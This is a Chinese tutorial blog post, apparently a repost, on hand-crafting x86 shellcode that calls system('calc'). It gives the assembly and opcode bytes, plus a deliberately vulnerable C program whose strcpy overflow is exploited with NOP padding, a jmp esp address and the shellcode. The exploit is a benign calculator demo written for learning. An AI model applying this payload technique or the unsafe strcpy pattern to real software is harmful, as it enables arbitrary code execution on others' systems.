标签:
上周自己打造的添加用户的shellcode太长,不过当时主要目的是为了锻炼手动asm,熟悉一些复杂的参数类型如何手动进行构造,然后通过堆栈传递。
接下来就打造一个弹计算器的shellcode来进行接下来的学习和测试。
弹计算器的C代码只有一句:
C代码:
system(“calc”);
ASM代码:
004030B4 8BEC mov ebp, esp //把栈底抬高,准备放参数 004030B6 33FF xor edi, edi //把edi清零,准备0,这样可以防止代码中出现00,避免字符类的复制中shellcode会被截断。 004030B8 57 push edi //开辟0填充的栈空间,用来存放字符。 004030B9 57 push edi //开辟0填充的栈空间,用来存放字符。 004030BA C645 FB 63 mov byte ptr [ebp-5], 63 //字符“c”入栈。 004030BE C645 FC 61 mov byte ptr [ebp-4], 61 //字符“a”入栈。 004030C2 C645 FD 6C mov byte ptr [ebp-3], 6C //字符“l”入栈。 004030C6 C645 FE 63 mov byte ptr [ebp-2], 63 //字符“c”入栈。 004030CA 8D45 FB lea eax, dword ptr [ebp-5] //取得字符串地址放入eax。 004030CD 50 push eax //参数“calc”入栈 004030CE B8 C793BF77 mov eax, msvcrt.system //取得system函数地址msvcrt.dll是系统默认加载,所以不用loadlibrary。 004030D3 FFD0 call eax //调用system函数启动计算器。
机器码:
0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0
测试:
漏洞程序:
#include "stdafx.h" #include<stdio.h> #include<string.h> char ShellCode[] ={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x12,0x45,0xFA,0x7F,0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0}; void overflow(); int main() { overflow(); printf("fuction returned"); return 0; } void overflow() { char output[8]; strcpy(output, ShellCode); printf("output is %s",output); }
漏洞程序是一个典型的栈BOF漏洞,在关闭其他BOF保护措施的情况下,我们采用经典的覆盖返回地址来测试,攻击字符串布局:
0x90填充 |
Jmp esp地址(0x7FFA4512) |
Shellcode |
2. 成功弹出计算器:
标签:
原文地址:http://www.cnblogs.com/rebeyond/p/4843620.html